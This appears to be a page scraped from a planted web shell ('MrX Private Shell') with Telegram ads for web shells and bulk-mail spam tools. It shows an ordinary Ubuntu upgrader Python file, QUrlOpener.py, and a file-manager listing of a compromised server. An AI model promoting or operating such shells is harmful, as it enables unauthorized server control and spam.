__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# QUrlOpener.py
# -*- Mode: Python; indent-tabs-mode: nil; tab-width: 4; coding: utf-8 -*-
#
#  Copyright (c) 2014-2018 Harald Sitter <[email protected]>
#  Copyright (c) 2024 Simon Quigley <[email protected]>
#
#  This program is free software; you can redistribute it and/or
#  modify it under the terms of the GNU General Public License as
#  published by the Free Software Foundation; either version 2 of the
#  License, or (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.
#
#  You should have received a copy of the GNU General Public License
#  along with this program.  If not, see <http://www.gnu.org/licenses/>.

from PyQt6.QtCore import QObject, QCoreApplication, pyqtSlot, QUrl
from PyQt6.QtGui import QDesktopServices

import os
import subprocess


def singleton(class_):
    instances = {}

    def instance(*args, **kwargs):
        if class_ not in instances:
            instances[class_] = class_(*args, **kwargs)
        return instances[class_]
    return instance


@singleton
class QUrlOpener(QObject):
    def __init__(self):
        QObject.__init__(self)
        self.setParent(QCoreApplication.instance())

    def setupUrlHandles(self):
        # Make sure we don't run a root browser.
        # NOTE: Qt native API can set an openUrl handler from a QObject
        # function, pyqt in theory also allows an arbitrary callable. Latter
        # has been observed to be non-functional so rely on the native handling
        QDesktopServices.setUrlHandler('http', self, 'openUrl')
        QDesktopServices.setUrlHandler('https', self, 'openUrl')

    def teardownUrlHandles(self):
        # Unset the URL handlers to avoid the warning
        QDesktopServices.unsetUrlHandler('http')
        QDesktopServices.unsetUrlHandler('https')

    # NOTE: largely code copy from ReleaseNotesViewer which imports GTK.
    @pyqtSlot(QUrl)
    def openUrl(self, url):
        url = url.toString()
        """Open the specified URL in a browser"""
        # Find an appropiate browser
        if os.path.exists("/usr/bin/xdg-open"):
            command = ["xdg-open", url]
        elif os.path.exists("/usr/bin/kde-open"):
            command = ["kde-open", url]
        elif os.path.exists("/usr/bin/exo-open"):
            command = ["exo-open", url]
        elif os.path.exists('/usr/bin/gnome-open'):
            command = ['gnome-open', url]
        else:
            command = ['x-www-browser', url]
        # Avoid to run the browser as user root
        if os.getuid() == 0 and 'SUDO_USER' in os.environ:
            command = ['sudo',
                       '--set-home',
                       '-u', os.environ['SUDO_USER']] + command
        subprocess.Popen(command)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
DistUpgradeApport.py File 4.91 KB 0644
DistUpgradeCache.py File 50.34 KB 0644
DistUpgradeConfigParser.py File 3.33 KB 0644
DistUpgradeController.py File 91.25 KB 0644
DistUpgradeFetcher.py File 5.85 KB 0644
DistUpgradeFetcherCore.py File 9.56 KB 0644
DistUpgradeFetcherKDE.py File 8.26 KB 0644
DistUpgradeGettext.py File 2.98 KB 0644
DistUpgradeMain.py File 8.78 KB 0644
DistUpgradeQuirks.py File 46.62 KB 0644
DistUpgradeVersion.py File 21 B 0644
DistUpgradeView.py File 16.1 KB 0644
DistUpgradeViewGtk3.py File 31.96 KB 0644
DistUpgradeViewKDE.py File 37.51 KB 0644
DistUpgradeViewNonInteractive.py File 13 KB 0644
DistUpgradeViewText.py File 9.8 KB 0644
GtkProgress.py File 3.93 KB 0644
MetaRelease.py File 16.99 KB 0644
QUrlOpener.py File 2.87 KB 0644
ReleaseNotesViewer.py File 7.27 KB 0644
ReleaseNotesViewerWebkit.py File 2.52 KB 0644
SimpleGtk3builderApp.py File 2.01 KB 0644
SimpleGtkbuilderApp.py File 1.99 KB 0644
__init__.py File 0 B 0644
apt_btrfs_snapshot.py File 12.68 KB 0644
dist-upgrade.py File 129 B 0644
telemetry.py File 3.33 KB 0644
utils.py File 17.37 KB 0644
xorg_fix_proprietary.py File 3.99 KB 0644
Filemanager